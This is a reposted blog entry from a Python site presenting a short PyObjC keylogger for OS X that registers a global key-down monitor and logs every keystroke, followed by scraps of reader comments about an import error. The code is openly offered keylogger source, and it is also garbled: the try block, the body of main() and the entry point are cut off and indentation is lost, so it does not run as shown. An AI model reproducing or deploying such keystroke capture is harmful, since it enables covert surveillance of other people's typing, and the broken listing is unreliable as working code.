PythonTip >> 博文 >> python

A 25 line Python keylogger for OS X

zihua 2014-01-20 23:01:12 点击: 910 | 收藏

# by Bjarte Johansen is licensed under a
# Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.


from AppKit import NSApplication, NSApp
from Foundation import NSObject, NSLog
from Cocoa import NSEvent, NSKeyDownMask
from PyObjCTools import AppHelper


class AppDelegate(NSObject):
def applicationDidFinishLaunching_(self, notification):
mask = NSKeyDownMask
NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(mask, handler)


def handler(event):
NSLog(u"%@", event)
except KeyboardInterrupt:


def main():
app = NSApplication.sharedApplication()
delegate = AppDelegate.alloc().init()

if __name__ == '__main__':

wait, your first version did:

This one is giving me this error:

Traceback (most recent call last):

File "", line 4, in

from Foundation import NSApplication, NSObject, NSLog

ImportError: cannot import name NSApplication

NSApplication should be imported from AppKit (or Cocoa) rather than Foundation since that's where it is defined.

How did all these people suddenly see my gist?

Anyway, can you guys see if things work after the latest update (on advice from @bdash) ?

I am not sure how to see what version of PyObjC you are using. I am using Python2.7 and head from


作者:zihua | 分类: python | 标签: python | 阅读: 910 | 发布于: 2014-01-20 23时 |